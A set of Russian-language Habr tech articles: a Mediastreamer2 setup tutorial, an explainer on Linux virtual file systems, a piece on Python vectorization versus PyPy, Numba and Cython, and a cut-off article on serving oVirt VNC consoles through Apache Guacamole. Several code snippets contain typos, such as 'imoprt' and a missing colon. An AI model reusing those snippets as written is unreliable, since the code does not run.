* Windows Sound (Windows)
#### Кодирование/декодирование звука
* G.711 a-закон: MS\_ALAW\_DEC, MS\_ALAW\_ENC
* G.711 µ-закон: MS\_ULAW\_DEC, MS\_ULAW\_ENC
* G.722: MS\_G722\_DEC, MS\_G722\_ENC
* G.726: MS\_G726\_32\_ENC, MS\_G726\_24\_ENC, MS\_G726\_16\_ENC
* GSM: MS\_GSM\_DEC, MS\_GSM\_ENC
* Линейная ИКМ: MS\_L16\_ENC, MS\_L16\_DEC
* Speex: MS\_SPEEX\_ENC, MS\_SPEEX\_DEC
#### Обработка звука
* Преобразование канала (моно->стерео, стерео->моно): MS\_CHANNEL\_ADAPTER
* Конференция: MS\_CONF
* Генератор DTMF: MS\_DTMF\_GEN
* Подавление эха (speex): MS\_SPEEX\_EC
* Эквалайзер: MS\_EQUALIZER
* Микшер: MS\_MIXER
* Компенсатор потери пакетов (PLC): MS\_GENERIC\_PLC
* Ресемплер: MS\_RESAMPLE
* Детектор тонов: MS\_TONE\_DETECTOR
* Управление громкостью и измерение уровня сигнала: MS\_VOLUME
### Фильтры видео
#### Захват и воспроизведение видео
* Android захват
* Android воспроизведение
* AV Foundation захват (iOS)
* AV Foundation воспроизведение (iOS)
* DirectShow захват (Windows)
* DrawDib воспроизведение (Windows)
* External воспроизведение — Отправка видео на верхний уровень
* GLX воспроизведение (Linux): MS\_GLXVIDEO
* Mire — Synthetic moving picture: MS\_MIRE
* OpenGL воспроизведение (Mac OS X)
* OpenGL ES2 воспроизведение (Android)
* Quicktime захват (Mac OS X)
* SDL воспроизведение: MS\_SDL\_OUT
* Вывод статических изображений: MS\_STATIC\_IMAGE
* Video For Linux (V4L) захват (Linux): MS\_V4L
* Video For Linux 2 (V4L2) захват (Linux): MS\_V4L2\_CAPTURE
* Video4windows (DirectShow) захват (Windows)
* Video4windows (DirectShow) захват (Windows CE)
* Video For Windows (vfw) захват (Windows)
* XV воспроизведение (Linux)
#### Кодирование/декодирование видео
* H.263, H.263-1998, MP4V-ES, JPEG, MJPEG, Snow: MS\_MJPEG\_DEC, MS\_H263\_ENC, MS\_H263\_DEC
* H.264 (только декодер): MS\_H264\_DEC
* Theora: MS\_THEORA\_ENC, MS\_THEORA\_DEC
* VP8: MS\_VP8\_ENC, MS\_VP8\_DEC
#### Обработка видео
* JPEG snapshot
* Pixel format converter: MS\_PIX\_CONV
* Ресайзер
* Другие фильтры
* Обмен блоками данных между тредами: MS\_ITC\_SOURCE, MS\_ITC\_SINK
* Сбор блоков данных с нескольких входов на один выход: MS\_JOIN
* RTP прием/передача: MS\_RTP\_SEND, MS\_RTP\_RECV
* Копирование входных данных на несколько выходов: MS\_TEE
* Согласованная нагрузка: MS\_VOID\_SINK
* Источник тишины: MS\_VOID\_SOURCE
### Плагины
#### Звуковые фильтры
* AMR-NB кодер/декодер
* G.729 кодер/декодер
* iLBC кодер/декодер
* SILK кодер/декодер
#### Фильтры видео
* H.264 программный кодер
* H.264 V4L2 кодер/декодер с аппаратным ускорением
После короткого описания фильтра показано название типа, которое используется при создании нового экземпляра данного фильтра. В дальнейшем изложении мы будем ссылаться на этот список.
Установка под Linux Ubuntu
--------------------------
Теперь мы выполним установку медиастримера на компьютер и соберем наше первое приложение с ним.
Установка Mediastremer2 на компьютер или виртуальную машину под управлением Ubuntu не требует особых навыков. Здесь и далее символом "$" будем обозначать приглашение оболочки shell для ввода команд. Т.е. если в листинге вы видите этот символ в начале строки, то значит это строка в которой показаны команды для выполнения в терминале.
Предполагается, что во время выполнения действий описанных в этой статье, ваш компьютер имеет доступ к сети Интернет.
#### Установка пакета libmediastremer-dev
Запускаем терминал и набираем команду:
```
$ sudo apt-get update
```
Будет запрошен пароль на внесение изменений, введите его и менеджер пакетов обновит свои базы. После этого нужно выполнить:
```
$ sudo apt-get install libmediastreamer-dev
```
Будут автоматически скачаны и установлены необходимые пакеты зависимостей и сама библиотека медиастримера.
Общий размер скачанных deb-пакетов зависимостей составит примерно 35 МБайт. Подробности об установленном пакете можно узнать командой:
```
$ dpkg -s libmediastreamer-dev
```
Пример ответа:
```
Package: libmediastreamer-dev
Status: install ok installed
Priority: optional
Section: libdevel
Installed-Size: 244
Maintainer: Ubuntu Developers
Architecture: amd64
Source: linphone
Version: 3.6.1-2.5
Depends: libmediastreamer-base3 (= 3.6.1-2.5), libortp-dev
Description: Linphone web phone's media library - development files
Linphone is an audio and video internet phone using the SIP protocol. It
has a GTK+ and console interface, includes a large variety of audio and video
codecs, and provides IM features.
.
This package contains the development libraries for handling media operations.
Original-Maintainer: Debian VoIP Team
Homepage: http://www.linphone.org/
```
#### Установка инструментов разработки
Устанавливаем компилятор Си и сопутствующие ему инструменты:
```
$ sudo apt-get install gcc
```
Проверяем результат, запросив версию компилятора:
```
$ gcc --version
```
Ответ должен быть примерно таким:
```
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
```
#### Сборка и запуск пробного приложения
Создаем в *home* папку для наших учебных проектов, назовем её *mstutorial*:
```
$ mkdir ~/mstutorial
```
Воспользуйтесь вашим любимым текстовым редактором и создайте файл Си-программы с именем *mstest.c* со следующим содержанием:
```
#include "stdio.h"
#include
int main()
{
ms\_init();
printf ("Mediastreamer is ready.\n");
}
```
Она выполняет инициализацию медиастримера, печатает приветствие и заканчивает выполнение.
Сохраняем файл и компилируем тестовое приложение командой:
```
$ gcc mstest.c -o mstest `pkg-config mediastreamer --libs --cflags`
```
Обратите внимание, что строка
```
`pkg-config mediastreamer --libs --cflags`
```
заключена в кавычки, которые находятся на клавиатуре там же где и буква "Ё".
Если файл не содержит ошибок, то после компиляции в каталоге появится файл *mstest*. Запускаем программу:
```
$ ./mstest
```
Результат будет таким:
```
ALSA lib conf.c:4738:(snd_config_expand) Unknown parameters 0
ALSA lib control.c:954:(snd_ctl_open_noupdate) Invalid CTL default:0
ortp-warning-Could not attach mixer to card: Invalid argument
ALSA lib conf.c:4738:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM default:0
ALSA lib conf.c:4738:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM default:0
ortp-warning-Strange, sound card HDA Intel PCH does not seems to be capable of anything, retrying with plughw...
Mediastreamer is ready.
```
В данном листинге мы видим сообщения об ошибках, которые выводит библиотека ALSA, она используется для управления звуковой картой. Сами разработчики медиастримера считают, что это нормально. Мы в данном случае по неволе согласимся с ними.
Теперь у нас все готово для работы с медиастримером. Мы установили библиотеку медиастримера, инструмент компиляции и с помощью пробного приложения проверили, что инструменты настроены, а медиастример успешно инициализируется.
В следующей [статье](https://habr.com/ru/post/495728/) мы создадим приложение, которое соберет и запустит обработку звукового сигнала в цепочке из нескольких фильтров. | https://habr.com/ru/post/495702/ | null | ru | null |
# Виртуальные файловые системы в Linux: зачем они нужны и как они работают? Часть 1
Всем привет! Мы продолжаем запуски новых потоков по уже полюбившимся вам курсам и сейчас спешим сообщить о том, что у нас стартует новый набор по курсу [«Администратор Linux»](https://otus.pw/gbcl/), который запустится в конце апреля. К этому событию и будет приурочена новая публикация. С оригиналом материала можно [ознакомиться тут](https://opensource.com/article/19/3/virtual-filesystems-linux).
Виртуальные файловые системы выполняют роль некой волшебной абстракции, которая позволяет философии Linux говорить, что «всё является файлом».
Что такое файловая система? Опираясь на слова одного из первых контрибьюторов и авторов Linux [Робера Лава](https://www.pearson.com/us/higher-education/program/Love-Linux-Kernel-Development-3rd-Edition/PGM202532.html), «Файловая система – это иерархическое хранилище данных, собранное в соответствии с определенной структурой». Как бы то ни было, это определение в равной мере хорошо подходит для VFAT (Virtual File Allocation Table), Git и [Cassandra](http://cassandra.apache.org/) ([база данных NoSQL](https://en.wikipedia.org/wiki/NoSQL)). Так что именно определяет такое понятие, как «файловая система»?
**Основы файловой системы**
Ядро Linux имеет определенные требования к сущности, которая может считаться файловой системой. Она должна реализовывать методы `open()`, `read()` и `write()` для постоянных объектов, которые имеют имена. С точки зрения объектно-ориентированного [программирования](http://lwn.net/Articles/444910/), ядро определяет обобщенную файловую систему (generic filesystem) в качестве абстрактного интерфейса, а эти три большие функции считаются «виртуальными» и не имеют конкретного определения. Соответственно, реализация файловой системы по умолчанию называется виртуальной файловой системой (VFS).
Если мы можем открывать, читать и записывать в сущность, то эта сущность считается файлом, как мы видим из примера в консоли сверху.
Феномен VFS лишь подчеркивает наблюдение, характерное для Unix-подобных систем, которое гласит, что «всё является файлом». Подумайте, насколько странно, что тот маленький пример сверху с /dev/console показывает, как на самом деле работает консоль. На картинке изображена интерактивная Bash сессия. Отправка строки в консоль (virtual console device) отображает ее на виртуальном экране. VFS имеет другие, еще более странные свойства. Например, она дает возможность осуществлять поиск по [ним](https://lwn.net/Articles/22355/).
Знакомые нам системы, такие как ext4, NFS и /proc имеют три важные функции в структуре данных С, которая называется [file\_operations](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/fs.h). Кроме того, определенные файловые системы расширяют и переопределяют функции VFS привычным объектно-ориентированным способом. Как отмечает Роберт Лав, абстракция VFS позволяет пользователям Linux беспечно копировать файлы в или из сторонних операционных систем или абстрактных сущностей, таких как pipes, не беспокоясь об их внутреннем формате данных. Со стороны пользователя (userspace) с помощью системного вызова процесс может копировать из файла в структуры данных ядра с помощью метода `read()` одной файловой системы, а затем использовать метод `write()` другой файловой системы для вывода данных.
Определения функций, которые принадлежат к базовым типам VFS, находятся в файлах [fs/\*.c](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs) исходного кода ядра, в то время как подкаталоги `fs/` содержат определенные файловые системы. В ядре также содержатся сущности, такие как `cgroups`, `/dev` и `tmpfs`, которые требуются в процессе загрузки и поэтому определяются в подкаталоге ядра `init/`. Заметьте, что `cgroups`, `/dev` и `tmpfs` не вызывают «большую тройку» функций `file_operations`, а напрямую читают и пишут в память.
На приведенной ниже диаграмме показано, как userspace обращается к различным типам файловых систем, обычно монтируемых в системах Linux. Не показаны такие конструкции как `pipes`, `dmesg` и `POSIX clocks`, которые также реализуют структуру `file_operations`, доступ к которым проходит через слой VFS.
VFS — это «слой оболочки» между системными вызовами и реализациями определенных `file_operations`, таких как `ext4` и `procfs`. Функции `file_operations` могут взаимодействовать либо с драйверами устройств, либо с устройствами доступа к памяти. `tmpfs`, `devtmpfs` и `cgroups` не используют `file_operations`, а напрямую обращаются к памяти.
Существование VFS обеспечивает возможность переиспользовать код, так как основные методы, связанные с файловыми системами, не должны быть повторно реализованы каждым типом файловой системы. Переиспользование кода – широкоприменяемая практика программных инженеров! Однако, если повторно используемый код содержит [серьезные ошибки](https://lwn.net/Articles/774114/), от них страдают все реализации, которые наследуют общие методы.
**/tmp: Простая подсказка**
Простой способ обнаружить, что VFS присутствуют в системе – это ввести `mount | grep -v sd | grep -v :/`, что покажет все смонтированные (`mounted`) файловые системы, которые не являются резидентами на диске и не NFS, что справедливо на большинстве компьютеров. Одним из перечисленных маунтов (`mounts`) VFS, несомненно, будет `/tmp`, верно?
Все знают, что хранение `/tmp` на физическом носителе – безумие! [Источник](https://tinyurl.com/ybomxyfo).
Почему нежелательно хранить `/tmp` на физическом носителе? Потому что файлы в `/tmp` являются временными, а устройства хранения медленнее, чем память, где создается tmpfs. Более того, физические носители более подвержены износу при перезаписи, чем память. Наконец, файлы в /tmp могут содержать конфиденциальную информацию, поэтому их исчезновение при каждой перезагрузке является неотъемлемой функцией.
К сожалению, некоторые скрипты инсталляции Linux дистрибутивов создают /tmp на устройстве хранения по умолчанию. Не отчаивайтесь, если это произошло и с вашей системой. Выполните несколько простых инструкций с [Arch Wiki](https://wiki.archlinux.org/index.php/Tmpfs), чтобы это исправить, и помните о том, что память выделенная для `tmpfs` , становится недоступной для других целей. Другими словами, система с гигантской tmpfs и большими файлами в ней может израсходовать всю память и упасть. Другая подсказка: во время редактирования файла `/etc/fstab`, помните о том, что он должен заканчиваться новой строкой, иначе ваша система не загрузится.
**/proc и /sys**
Помимо `/tmp`, VFS (виртуальные файловые системы), которые наиболее знакомы пользователям Linux – это `/proc` и `/sys`. (`/dev` располагается в общей памяти и не имеет `file_operations`). Почему именно эти два компонента? Давайте разберемся в этом вопросе.
`procfs` создает снимок мгновенного состояния ядра и процессов, которые он контролирует для `userspace`. В `/proc` ядро выводит информацию о том, какими средствами оно располагает, например, прерывания, виртуальная память и планировщик. Кроме того, `/proc/sys` – это место, где параметры, настраиваемые с помощью команды `sysctl`, доступны для `userspace`. Статус и статистика отдельных процессов выводится в каталогах `/proc/`.
Здесь `/proc/meminfo` — это пустой файл, который тем не менее содержит ценную информацию.
Поведение `/proc` файлов показывает, какими непохожими могут быть дисковые файловые системы VFS. С одной стороны, `/proc/meminfo` содержат информацию, которую можно посмотреть командой `free`. С другой же, там пусто! Как так получается? Ситуация напоминает знаменитую статью под названием [«Существует ли луна, когда на нее никто не смотрит? Реальность и квантовая теория»](http://www-f1.ijs.si/~ramsak/km1/mermin.moon.pdf), написанную профессором физики Корнельского университета Дэвидом Мермином в 1985 году. Дело в том, что ядро собирает статистику памяти, когда происходит запрос к `/proc`, и на самом деле в файлах `/proc` ничего нет, когда никто туда не смотрит. Как сказал [Мермин](https://en.wikiquote.org/wiki/David_Mermin), «Фундаментальная квантовая доктрина гласит, что измерение, как правило, не выявляет ранее существовавшего значения измеряемого свойства.» (А над вопросом про луну подумайте в качестве домашнего задания!)
Кажущаяся пустота `procfs` имеет смысл, поскольку располагающаяся там информация динамична. Немного другая ситуация с `sysfs`. Давайте сравним, сколько файлов размером не менее одного байта есть в `/proc` и в `/sys`.
`Procfs` имеет один файл, а именно экспортированную конфигурацию ядра, которая является исключением, поскольку ее нужно генерировать только один раз за загрузку. С другой стороны, в `/sys` лежит множество более объемных файлов, многие из которых занимают целую страницу памяти. Обычно файлы `sysfs` содержат ровно одно число или строку, в отличие от таблиц информации, получаемой при чтении таких файлов, как `/proc/meminfo`.
Цель `sysfs` – предоставить свойства доступные для чтения и записи того, что ядро называет `«kobjects»` в userspace. Единственная цель `kobjects` – это подсчет ссылок: когда удаляется последняя ссылка на kobject, система восстановит ресурсы, связанные с ним. Тем не менее, `/sys` составляет большую часть знаменитого [«stable ABI для userspace»](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/ABI/stable) ядра, которое никто никогда, ни при каких обстоятельствах не может [«сломать»](https://lkml.org/lkml/2012/12/23/75). Это не означает, что файлы в sysfs статичны, что противоречило бы подсчету ссылок на нестабильные объекты.
Стабильный двоичный интерфейс приложений ядра (kernel's stable ABI) ограничивает то, что может появиться в `/sys`, а не то, что на самом деле присутствует в данный конкретный момент. Листинг разрешений на файлы в sysfs обеспечивает понимание того, как конфигурируемые параметры устройств, модулей, файловых систем и т.д. могут быть настроены или прочитаны. Делаем логический вывод, что procfs также является частью stable ABI ядра, хотя это не указано явно в [документации](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/ABI/stable).
Файлы в `sysfs` описывают одно конкретное свойство для каждой сущности и могут быть читаемыми, перезаписываемыми или и то и другое сразу. «0» в файле говорит о том, что SSD не может быть удален.
[Вторую часть](https://habr.com/ru/company/otus/blog/447748/) перевода начнем с того, как наблюдать за VFS с помощью инструментов eBPF и bcc, а сейчас ждем ваши комментарии и традиционно приглашаем на [открытый вебинар](https://otus.pw/5LoU/), который уже 9 апреля проведет наш преподаватель — [Владимир Дроздецкий](https://otus.pw/mlMR/).
[Вторая часть.](https://habr.com/ru/company/otus/blog/447748/) | https://habr.com/ru/post/446614/ | null | ru | null |
# Ограничения векторизации Python как метода повышения производительности
##### Itamar Turner-Trauring
Автор Python-профайлера Sciagraph
Векторизация NumPy ускоряет операции с объёмными данными за счёт быстрого низкоуровневого кода. На основе NumPy, чтобы предоставить столь же быструю функциональность, написана и Pandas. Но векторизация — не панацея. Иногда проблема решается за счёт памяти, нужная операция не поддерживается или просто не нужна. У каждой из этих проблем есть разные решения.
### Слово «векторизация» имеет несколько значений, я расскажу о низкоуровневых циклах
Если резюмировать [подробное объяснение векторизации](https://pythonspeed.com/articles/vectorization-python/), в контексте Python у векторизации три значения. Это:
1. API для работы с массивными данными: например, код `arr += 1` прибавит 1 к каждому элементу массива NumPy.
2. Низкоуровневый API, например, на C или Rust. Он быстро работает с большим объёмом данных — это основная тема статьи.
3. Инструкции SIMD, ускоряющие операции низкого уровня ещё сильнее. Подробности — в [основном описании векторизации](https://pythonspeed.com/articles/vectorization-python/).
Для начала предположим, что работаем с Python по умолчанию, то есть CPython.
#### Пример: прибавление числа к целым числам по списку
```
from time import time
l = list(range(100_000_000))
start = time()
for i in range(len(l)):
l[i] += 17
print("Elapsed: ", time() - start)
```
Список целых чисел Python в CPython — это серия указателей на [довольно большие объекты](https://pythonspeed.com/articles/python-integers-memory/). С точки зрения CPython это обычные объекты Python, и прибавление целого числа к каждому элементу списка состоит из следующих шагов:
1. Поиск типа каждого элемента в списке.
2. Поиск функции сложения данного типа чисел.
3. Вызов найденной функции с исходным и добавляемым объектами.
4. Конвертирование обоих объектов Python в машинные целые числа.
5. Сложение машинных чисел.
6. Оборачивание полученного целого в объект Python.
7. Поиск следующего элемента в списке Python, что само по себе — дорогая операция, включающая поиск методов итератора для типа диапазона, затем поиск операции индексации для типа списка, преобразование объекта индекса в машинное целое число… Много работы!
Напротив, массив целых чисел NumPy — это [массив машинных целых чисел](https://pythonspeed.com/articles/python-integers-memory/). Таким образом, добавление целого числа к каждому элементу — всего лишь несколько процессорных инструкций для каждого элемента; после инициализации это ничем не отличается от эквивалента на C.
Вот код NumPy:
```
from time import time
import numpy as np
l = np.array(range(100_000_000), dtype=np.uint64)
start = time()
l += 17
print("Elapsed: ", time() - start)
```
NumPy работает намного быстрее:
| Реализация | Прошло (сек) |
| --- | --- |
| CPython | 6.13 |
| NumPy | 0.07 |
### Ограничения векторизации
Векторизация ускоряет код, это здорово… но решение не идеальное. Вот первая проблема:
#### Большие бесполезные выделения памяти
Допустим, нужно узнать среднее расстояние элементов массива от числа 0. Один из способов сделать это — вычислить абсолютное значение каждого элемента и взять среднее значение элементов:
```
imoprt numpy as np
def mean_distance_from_zero(arr):
return np.abs(arr).mean()
```
Это работает, и оба вычисления выполняются быстро, но нужен совершенно новый промежуточный массив абсолютных значений. Если исходный массив содержит 1000 МБ, появится лишняя 1000 МБ. Исходный массив можно перезаписать, чтобы сэкономить память, но он может понадобиться по другим причинам.
Чтобы вместо N копий осталась только одна дополнительная копия, можно воспользоваться [операциями на месте](https://pythonspeed.com/articles/minimizing-copying/). Есть библиотеки, например [numexpr](https://numexpr.readthedocs.io/projects/NumExpr3/en/latest/user_guide.html) и [Dask Array](https://docs.dask.org/en/stable/array.html), способные с сокращением нагрузки на память выполнять пакетные или более интеллектуальные обновления на месте. А можно просто рассчитать всё поэлементно, собственным циклом, но это приведёт ко второй проблеме:
#### Ускоряется только то, что поддерживается
Чтобы векторизация работала, нужен низкоуровневый машинный код, который выполняет операцию и управляет циклом над данными. При переключении обратно, на циклы и функциональность обычного Python, скорость теряется. Например, очевидный способ реализовать `mean_distance_from_zero()` без увеличения потребляемой памяти выглядит так:
```
def mean_distance_from_zero(arr):
total = 0
for i in range(len(arr))
total += abs(arr[i])
return total / len(arr)
```
Но мы вернулись к циклу и операциям в Python, код снова медленный — и вот одна из причин, почему NumPy приходится так много реализовывать самой: код замедляется при каждом возврате к Python. В компилируемом языке есть вероятность, что компилятор найдёт способ оптимизировать вторую реализацию, и это даст ускорение, которое невозможно с серией отдельных векторизованных операций.
#### Векторизация ускоряет только массовые операции
Иногда ваш код работает медленно потому, что выполняет одну и ту же операцию со многими элементами данных одного и того же типа — тогда и пригодится векторизация. В других случаях расчёт слишком медленный по другой причине, а значит, векторизация не поможет.
### Другие решения
Посмотрим три основных:
1. Ускоренный интерпретатор Python, [PyPy](https://www.pypy.org/) — реализация CPython намного умнее: она может использовать JIT-компиляцию, ускоряя выполнение генерацией специализированного машинного кода.
2. Генерация машинного кода внутри CPython через [Numba](https://pythonspeed.com/articles/numba-faster-python/).
3. Компиляция кастомного кода с помощью [Cython, C, C++ или Rust](https://pythonspeed.com/articles/rust-cython-python-extensions/).
### PyPy: ускоренный интерпретатор Python
С Python-списком целых чисел CPython на самом деле не делает ничего хитрого, поэтому и нужны массивы NumPy. PyPy здесь разумнее CPython: для такого случая он генерирует специализированный код.
Вернёмся к исходному примеру:
```
from time import time
l = list(range(100_000_000))
start = time()
for i in range(len(l)):
l[i] += 17
print("Elapsed: ", time() - start)
```
И сравним Cython с PyPy:
```
$ python add_list.py
Elapsed: 6.125197410583496
$ pypy add_list.py
Elapsed: 0.11461925506591797
```
Скорость PyPy сравнима со скоростью NumPy — а это обычный цикл Python.
К сожалению, PyPy не особенно хорошо работает с NumPy; наивный невекторизованный цикл над массивом NumPy (например, реализованная выше `mean()`) в PyPy намного медленнее, чем в CPython. Поэтому PyPy бесполезен в попытке справиться с недостающим функционалом NumPy, а медленный невекторизованный цикл он даже замедлит ещё сильней. Но, если вы имеете дело с кодом на стандартных объектах Python, PyPy может оказаться намного быстрее CPython, поэтому лучше всего он подходит для ускорения, когда NumPy или Pandas не используются вообще.
### Numba: JIT-функции, работающие с NumPy
[Numba](https://pythonspeed.com/articles/numba-faster-python/) также выполняет JIT-компиляцию, но в отличие от PyPy действует как дополнение к CPython и создан для работы с NumPy. Посмотрим, как это решит наши проблемы:
#### Расширение NumPy через Numba
Недостающие операции для Numba не проблема: просто напишите собственную функцию. Вот, например, `mean_distance_from_zero()` на чистом Python и Numba:
```
from time import time
import numpy as np
from numba import njit
# Pure Python version:
def mean_distance_from_zero(arr):
total = 0
for i in range(len(arr))
total += abs(arr[i])
return total / len(arr)
# A fast, JITed version:
mean_distance_from_zero_numba = njit(
mean_distance_from_zero
)
arr = np.array(range(10_000_000), dtype=np.float64)
start = time()
mean_distance_from_zero(arr)
print("Elapsed CPython: ", time() - start)
for i in range(3):
start = time()
mean_distance_from_zero_numba(arr)
print("Elapsed Numba: ", time() - start)
```
Первый вызов Numba небыстрый: библиотека должна скомпилировать кастомный машинный код. После этого вызовы ускоряются и CPython сильно уступает Numba:
```
$ python cpython_vs_numba.py
Elapsed CPython: 1.1473402976989746
Elapsed Numba: 0.1538538932800293
Elapsed Numba: 0.0057942867279052734
Elapsed Numba: 0.005782604217529297
```
Поскольку мы можем писать собственные дополнительные функции для NumPy с помощью Numba, отсутствующие операции — не проблема. Это также означает, что из-за ограничений доступных массивов NumPy не нужно создавать временные массивы, поэтому Numba может помочь решить первые две проблемы, с которыми мы столкнулись.
> Numba не так полезна в невекторизованных операциях, поскольку они не входят в задачи проекта.
>
>
### Скомпилированный код Cython (или Rust, C, C++)
Мы увидели два примера JIT-компиляции: целый JIT-интерпретатор и единичные JIT-функции. Третий способ ускориться — предварительная компиляция. При помощи Cython, Rust или C вы сможете:
1. Создавать быстрые операции для NumPy через [встроенную в Cython поддержку NumPy](https://cython.readthedocs.io/en/stable/src/tutorial/numpy.html), `rust-numpy` в Rust или просто [C API](https://numpy.org/doc/stable/user/c-info.html) [Python](https://numpy.org/doc/stable/user/c-info.html). Сама NumPy в основном написана на C, а её расширения — и на других языках, таких как Fortran или C++.
2. Для случаев без векторизации, чтобы писать быстрые расширения, опять же можно [использовать эти языки](https://pythonspeed.com/articles/rust-cython-python-extensions/).
Но, чтобы скомпилировать эти расширения перед запуском Python, придётся добавить много настроек конфигурации упаковки или настроить сборку. Cython умеет [компилировать при импорте](https://cython.readthedocs.io/en/stable/src/userguide/source_files_and_compilation.html#compiling-with-pyximport), но это осложняет распространение вашего ПО: его пользователям будет нужен компилятор. Numba таких ограничений не имеет.
### Выбор решения
С векторизованной операцией PyPy не поможет. Хотя сделать последний полезнее могут проекты типа [HPy Project](https://hpyproject.org/).
Остаются Numba и скомпилированные расширения.
* Компилировать нужно заранее, а это требует компилятора и сложной упаковки, поэтому обычно легче настроить Numba.
* Numba без дополнительной работы создаёт разные версии кода для разных типов: целых чисел или чисел с плавающей точкой; с компилируемым кодом вам нужно скомпилировать версию для каждого типа числа и, возможно, также для каждого типа написать код. С помощью Rust или C++ необходимость дублирования кода можно обойти дженериками и шаблонами.
* Numba — это сильно ограниченное подмножество Python, так что отладка, связанная с его ограничениями, может оказаться затруднительной, а компилируемые языки более гибкие; Cython поддерживает почти весь Python, Rust — сложный язык с отличными инструментами, и т. д.
PyPy часто ускоряет невекторизованные операции без изменений кода; можно просто попробовать свой код и посмотреть его скорость. Иначе остаётся оптимизация существующего кода, или [выбор](https://pythonspeed.com/articles/rust-cython-python-extensions/) подходящего компилируемого языка.
А пока Python ускоряется, мы поможем прокачать ваши навыки или с самого начала освоить профессию, актуальную в любое время:
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_270722&utm_term=conc)
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_270722&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_270722&utm_term=conc).
 | https://habr.com/ru/post/678406/ | null | ru | null |
# Apache Guacamole и взаимодействие с API: реальный кейс использования oVirt
Производители оборудования предлагают заказчикам разные методы удаленного управления серверами, не зависящие от операционной системы. Мы уже писали [о разработанной специалистами HOSTKEY веб-консоли для материнских плат Supermicro](https://habr.com/ru/company/hostkey/blog/661271/), которая не требует локальной установки Java. Оборудованием Dell тоже можно управлять удаленно с помощью встроенной в DRAC консоли VNC. Рассказываем, как это делать.
> VNC (Virtual Network Computing) — система, обеспечивающая подключение к удаленному компьютеру по протоколу RFB (Remote FrameBuffer). Этот протокол позволяет обслуживать несколько одновременных пользовательских сессий.
>
>
### Почему Apache Guacamole?
В первой реализации нашего решения требовалось активировать проброс порта удаленного управления и открыть консоль DARC через VNC с помощью специальной кнопки. Потом нужно было дождаться загрузки файла **console.vv** и открыть его, предварительно установив [Virtual Machine Manager tools](https://virt-manager.org/download/) на локальном компьютере. Метод несложный, но он доставлял пользователям неудобства и приводил к дополнительным ошибкам при работе с арендованным оборудованием.
**Пример файла: console.vv**
```
[virt-viewer]
type=vnc
host=HOST_IP
port=5906
password=3dB2h1Ey/gTb
# Password is valid for 120 seconds.
delete-this-file=1
fullscreen=0
toggle-fullscreen=shift+f11
release-cursor=shift+f12
secure-attention=ctrl+alt+end
versions=rhev-win64:2.0-160;rhev-win32:2.0-160;rhel7:2.0-6;rhel6:99.0-1
newer-version-url=http://www.ovirt.org/documentation/admin-guide/virt/console-client-resources
[ovirt]
host=localhost.localdomain:443
vm-guid=0ecc8183-b0a9-4a95-b045-1967acf2dab7
sso-token=sG6zUyrXT0X8qOkCWoVL_vWLcYTPQfo2hqHrH1AHvXPz4G9PofFlqarEFXcH9bizILPufhF_2KghkD-o5Qxktw
admin=1
```
Чтобы упростить пользователям жизнь, пришлось реализовать прямой вызов веб-консоли HTML5 из личного кабинета без локальной установки [Virtual Machine Manager tools](https://virt-manager.org/download/). Для этого мы в [HOSTKEY](https://hostkey.ru/) выбрали [Apache Guacamole](https://guacamole.apache.org/) — свободно распространяемый кроссплатформенный шлюз для удаленных рабочих столов, который поддерживает все популярные протоколы и технологии: Telnet, SSH/SFTP, RDP, Kubernetes, а также VNC (RFB). Важное преимущество Apache Guacamole — он не требует установки клиентских программ или специальных плагинов. Пользователь получает доступ к управлению оборудованием из браузера, нажав одну кнопку в личном кабинете:
### Как это работает?
Активировать консоль можно не только в браузере, но и с помощью curl-запроса напрямую к нашему API:
```
curl -s "https://invapi.hostkey.com/eq.php" -X POST \
--data "action=novnc" \
--data "token=SESSION_TOKEN" \
--data "id=SERVER_ID" \
--data "pin=PIN_CODE"
```
**Пример ответа:**
```
{
"result":"OK",
"scope":"https://rcnl1.hostkey.com:8443/guacamole/#/?username=USER_NAME&password=PASSWORD",
"context":{"action":"novnc","id":"14494","location":"NL"},
"Debug":"debug",
"Key":"36ecafa60a13fd8000dcca73fd9528f5"
}
```
Пользователю остается дождаться загрузки консоли, но на стороне сервиса процесс выглядит сложнее. Для примера рассмотрим вызов VNC-консоли в браузере.
**Общая схема вызова VNC-консоли в браузере из личного кабинета клиента:**
При запросе через Invapi дается команда в API на открытие консоли определенного сервера через кластер брокера сообщений (RabbitMQ). Для этого достаточно передать в брокер сообщений номер сервера.
RabbitMQ передает данные сервера и задачу на созданный нашими специалистами вспомогательный сервис-ресивер. Ресивер забирает данные в RabbitMQ, преобразует всю необходимую информацию, разделяет задачи (например, oVirt, Cisco, IPMI и т. д.) и отправляет их агенту (fence agent).
> Чтобы управлять виртуальными машинами через API или через web-интерфейс, мы выбрали [oVirt](https://www.ovirt.org/). Система использует гипервизор KVM и основана на нескольких проектах, в том числе libvirt, Gluster, PatternFly и Ansible. Она достаточно проста в эксплуатации и отличается высокой надежностью. Подробнее о нашем опыте интеграции [oVirt](https://www.ovirt.org/) в рабочую инфраструктуру речь пойдет в отдельной статье.
>
>
**Структура oVirt fence agent:**
```
inputRawURLConsole := inputRawURL + "/vms" + "/" + vm.MustId() + "/graphicsconsoles" + "/" + Vnc
//
……..
//
url := noVncURL + url + "/skey/" + *key + "/id/" + *name + "/ovirt/pass/" + passwd_encode + "/port/" + port + "/location/" + *location1
item := APICallBack{Result: "OK", Debug: "debug"}
item.Message = string(body)
